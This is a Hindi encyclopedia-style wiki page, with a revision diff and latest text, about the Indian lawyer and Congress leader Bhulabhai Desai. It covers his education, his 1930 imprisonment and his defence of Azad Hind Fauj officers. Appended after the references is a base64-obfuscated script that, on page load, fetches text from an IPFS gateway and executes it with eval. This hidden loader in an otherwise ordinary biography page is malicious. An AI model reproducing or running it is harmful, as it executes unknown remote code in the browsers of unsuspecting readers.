भूलाभाई देसाई: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replacement - "khoj.bharatdiscovery.org" to "bharatkhoj.org")
No edit summary
 
Line 39: Line 39:
भूलाभाई देसाई राजनीति के क्षेत्र में सर्वप्रथम माडरेटों के साथ, तदनंतर [[होमरूल लीग]] में और अंत में [[कांग्रेस]] में आए। [[महात्मा गांधी]] की प्रेरणा तथा निर्देश से प्रभावित होकर स्वाधीनता आंदोलन में प्रमुखता से भाग लिया। गुजरात के किसानों को क़ानूनी सहायता देकर स्वराज्य आंदोलन को नवीन शक्ति प्रदान की। इस दिशा में वह कार्यों के फलस्वरूप ही ब्रमफील्ड प्रतिवेदन में किसानों की कठिनाइयों को कम करने की संस्तुति की गई।<ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%AD%E0%A5%82%E0%A4%B2%E0%A4%BE%E0%A4%AD%E0%A4%BE%E0%A4%88_%E0%A4%A6%E0%A5%87%E0%A4%B8%E0%A4%BE%E0%A4%88 |title=भूलाभाई देसाई |accessmonthday= 19 जुलाई|accessyear=2015 |last= |first= |authorlink= |format= |publisher=भारतखोज |language= हिन्दी}}</ref>
भूलाभाई देसाई राजनीति के क्षेत्र में सर्वप्रथम माडरेटों के साथ, तदनंतर [[होमरूल लीग]] में और अंत में [[कांग्रेस]] में आए। [[महात्मा गांधी]] की प्रेरणा तथा निर्देश से प्रभावित होकर स्वाधीनता आंदोलन में प्रमुखता से भाग लिया। गुजरात के किसानों को क़ानूनी सहायता देकर स्वराज्य आंदोलन को नवीन शक्ति प्रदान की। इस दिशा में वह कार्यों के फलस्वरूप ही ब्रमफील्ड प्रतिवेदन में किसानों की कठिनाइयों को कम करने की संस्तुति की गई।<ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%AD%E0%A5%82%E0%A4%B2%E0%A4%BE%E0%A4%AD%E0%A4%BE%E0%A4%88_%E0%A4%A6%E0%A5%87%E0%A4%B8%E0%A4%BE%E0%A4%88 |title=भूलाभाई देसाई |accessmonthday= 19 जुलाई|accessyear=2015 |last= |first= |authorlink= |format= |publisher=भारतखोज |language= हिन्दी}}</ref>
==क्रांतिकारी गतिविधियाँ==
==क्रांतिकारी गतिविधियाँ==
सन [[1930]] के स्वाधीनता आंदोलन में भाग लेने के कारण भूलाभाई देसाई को एक [[वर्ष]] का कारावास तथा दस हज़ार रुपये जुर्माने का दंड मिला। इसके बाद के सभी प्रमुख कांग्रेसी आंदोलनों में वह भाग लेते रहे। केंद्रीय धारा सभा में कांग्रेस दल के नेता के रूप में इनका कार्य ऐतिहासिक महत्व का है। आपके तीखे तथ्य पूर्ण भाषण सरकारी पक्ष को हतप्रभ कर देते थे। उनमें ऐसी अनोखी सूझबूझ थी, जिसके फलस्वरूप वह महत्वपूर्ण बिलों पर मुसलिम पार्टी को साथ लेकर सरकारी पक्ष को पराजित कर देते थे। केंद्रीय धारा सभा में उनकी संसदीय प्रतिभा तथा असाधारण क्षमता अप्रतिम मानी जाती थी।
सन [[1930]] के [[स्वाधीनता संग्राम|स्वाधीनता आंदोलन]] में भाग लेने के कारण भूलाभाई देसाई को एक [[वर्ष]] का कारावास तथा दस हज़ार रुपये जुर्माने का दंड मिला। इसके बाद के सभी प्रमुख कांग्रेसी आंदोलनों में वह भाग लेते रहे। केंद्रीय धारा सभा में [[कांग्रेस|कांग्रेस दल]] के नेता के रूप में इनका कार्य ऐतिहासिक महत्व का है। आपके तीखे तथ्य पूर्ण भाषण सरकारी पक्ष को हतप्रभ कर देते थे। उनमें ऐसी अनोखी सूझबूझ थी, जिसके फलस्वरूप वह महत्वपूर्ण बिलों पर मुसलिम पार्टी को साथ लेकर सरकारी पक्ष को पराजित कर देते थे। केंद्रीय धारा सभा में उनकी संसदीय प्रतिभा तथा असाधारण क्षमता अप्रतिम मानी जाती थी।
==कीर्ति==
==कीर्ति==
'आज़ाद हिंद फौज' के सेनापति श्री शहनवाज, ढिल्लन तथा सहगल पर राजद्रोह के मुकदमें में सैनिकों का पक्ष-समर्थन भूलाभाई देसाई ने जिस कुशलता तथा योग्यता से किया, उससे उनकी कीर्ति देश में ही नहीं, विदेश में भी फैल गई। उनमें प्रतिपक्षी पर प्रबल प्रहार कर उसे निरस्त्र कर देने की असाधारण और अद्भुत क्षमता थी। यही कारण है कि उनके पास प्राय: अत्यंत गंभीर क़ानूनी उलझनों के मुकदमे आया करते थे। देश के ख्यातिलब्ध विधिज्ञों में उनका प्रमुख स्थान था।
'आज़ाद हिंद फौज' के सेनापति श्री शहनवाज, ढिल्लन तथा सहगल पर राजद्रोह के मुकदमें में सैनिकों का पक्ष-समर्थन भूलाभाई देसाई ने जिस कुशलता तथा योग्यता से किया, उससे उनकी कीर्ति देश में ही नहीं, विदेश में भी फैल गई। उनमें प्रतिपक्षी पर प्रबल प्रहार कर उसे निरस्त्र कर देने की असाधारण और अद्भुत क्षमता थी। यही कारण है कि उनके पास प्राय: अत्यंत गंभीर क़ानूनी उलझनों के मुकदमे आया करते थे। देश के ख्यातिलब्ध विधिज्ञों में उनका प्रमुख स्थान था।

Latest revision as of 05:59, 6 May 2018

भूलाभाई देसाई
पूरा नाम भूलाभाई देसाई
जन्म 13 अक्टूबर, 1877
जन्म भूमि सूरत, गुजरात
मृत्यु 6 मई, 1946
नागरिकता भारतीय
प्रसिद्धि विधिवेत्ता तथा गाँधी जी के सहयोगी
धर्म हिन्दू
जेल यात्रा सन 1930 के 'स्वाधीनता आंदोलन' में भाग लेने के कारण भूलाभाई देसाई को एक वर्ष का कारावास तथा दस हज़ार रुपये जुर्माने का दंड मिला।
विद्यालय एलफिंस्टन तथा सरकारी लॉ कॉलेज, मुम्बई
शिक्षा क़ानून की उच्च शिक्षा
अन्य जानकारी संसदीय नेतृत्व के भूलाभाई देसाई में अनुपम गुण थे। कांग्रेस पार्टी के नेता के रूप में नौकरशाही उनसे सदा आतंकित रहती थी। उनके भाषणों में तथ्यों, तर्कों तथा व्यंग्य विनोदपूर्ण उक्तियों का प्रभावोत्पादक संयोजन रहता था।

भूलाभाई देसाई (अंग्रेज़ी: Bhulabhai Desai , जन्म- 13 अक्टूबर, 1877, सूरत, गुजरात; मृत्यु- 6 मई, 1946) प्रख्यात विधिवेत्ता, प्रमुख संसदीय नेता तथा महात्मा गांधी के विश्वस्त सहयोगी थे। संसदीय नेतृत्व के उनमें अनुपम गुण थे। कांग्रेस पार्टी के नेता के रूप में नौकरशाही उनसे सदा आतंकित रहती थी। 'आज़ाद हिंद फौज' के सेनापति शहनवाज, ढिल्लन तथा सहगल पर राजद्रोह के मुकदमें में सैनिकों का पक्ष-समर्थन भूलाभाई देसाई ने जिस कुशलता तथा योग्यता से किया था, उससे उनकी कीर्ति देश में ही नहीं, विदेश में भी फैल गई थी।

जीवन परिचय

भूलाभाई देसाई का जन्म 13 अक्टूबर सन 1877 को गुजरात के सूरत ज़िले में हुआ था। विधि विशेषज्ञता आपको विरासत में मिली थी। आपके पिता सरकारी वकील थे। प्रत्युत्पन्नमतित्व तथा निर्भीक उक्तियाँ भूलाभाई देसाई की उल्लेख्य विशेषताएँ थीं। बंबई के एलफिंस्टन तथा सरकारी लॉ कॉलेज में भूलाभाई देसाई ने क़ानून की उच्च शिक्षा प्राप्त की। बाद में उच्च न्यायालय के अधिवेत्ता बने। विशिष्ट विधि विशारद होने के कारण आपको अल्पकाल में ही धन तथा यश की प्राप्ति हुई।

राजनीति क्षेत्र

भूलाभाई देसाई राजनीति के क्षेत्र में सर्वप्रथम माडरेटों के साथ, तदनंतर होमरूल लीग में और अंत में कांग्रेस में आए। महात्मा गांधी की प्रेरणा तथा निर्देश से प्रभावित होकर स्वाधीनता आंदोलन में प्रमुखता से भाग लिया। गुजरात के किसानों को क़ानूनी सहायता देकर स्वराज्य आंदोलन को नवीन शक्ति प्रदान की। इस दिशा में वह कार्यों के फलस्वरूप ही ब्रमफील्ड प्रतिवेदन में किसानों की कठिनाइयों को कम करने की संस्तुति की गई।[1]

क्रांतिकारी गतिविधियाँ

सन 1930 के स्वाधीनता आंदोलन में भाग लेने के कारण भूलाभाई देसाई को एक वर्ष का कारावास तथा दस हज़ार रुपये जुर्माने का दंड मिला। इसके बाद के सभी प्रमुख कांग्रेसी आंदोलनों में वह भाग लेते रहे। केंद्रीय धारा सभा में कांग्रेस दल के नेता के रूप में इनका कार्य ऐतिहासिक महत्व का है। आपके तीखे तथ्य पूर्ण भाषण सरकारी पक्ष को हतप्रभ कर देते थे। उनमें ऐसी अनोखी सूझबूझ थी, जिसके फलस्वरूप वह महत्वपूर्ण बिलों पर मुसलिम पार्टी को साथ लेकर सरकारी पक्ष को पराजित कर देते थे। केंद्रीय धारा सभा में उनकी संसदीय प्रतिभा तथा असाधारण क्षमता अप्रतिम मानी जाती थी।

कीर्ति

'आज़ाद हिंद फौज' के सेनापति श्री शहनवाज, ढिल्लन तथा सहगल पर राजद्रोह के मुकदमें में सैनिकों का पक्ष-समर्थन भूलाभाई देसाई ने जिस कुशलता तथा योग्यता से किया, उससे उनकी कीर्ति देश में ही नहीं, विदेश में भी फैल गई। उनमें प्रतिपक्षी पर प्रबल प्रहार कर उसे निरस्त्र कर देने की असाधारण और अद्भुत क्षमता थी। यही कारण है कि उनके पास प्राय: अत्यंत गंभीर क़ानूनी उलझनों के मुकदमे आया करते थे। देश के ख्यातिलब्ध विधिज्ञों में उनका प्रमुख स्थान था।

गुण

संसदीय नेतृत्व के उनमें अनुपम गुण थे। कांग्रेस पार्टी के नेता के रूप में नौकरशाही उनसे सदा आतंकित रहती थी। अंग्रेज़ी भाषा पर उनका असाधारण अधिकार था। भूलाभाई देसाई के भाषणों में तथ्यों, तर्कों तथा व्यंग्य विनोदपूर्ण उक्तियों का प्रभावोत्पादक संयोजन रहता था। इस संबंध में 'देसाई-लियाकत समझौते' का विशेष महत्व है। आपके व्याख्यानों तथा विचारों का संग्रह पुस्तकाकार प्रकाशित हुआ है। आरंभिक जीवन में भूलाभाई देसाई ने अहमदाबाद स्थित गुजराज कालेज में अर्थशास्त्र तथा इतिहास विषयक प्राध्यामक का भी कार्य किया था।[2][1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 भूलाभाई देसाई (हिन्दी) भारतखोज। अभिगमन तिथि: 19 जुलाई, 2015।
  2. लक्ष्मीशंकर व्यास


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>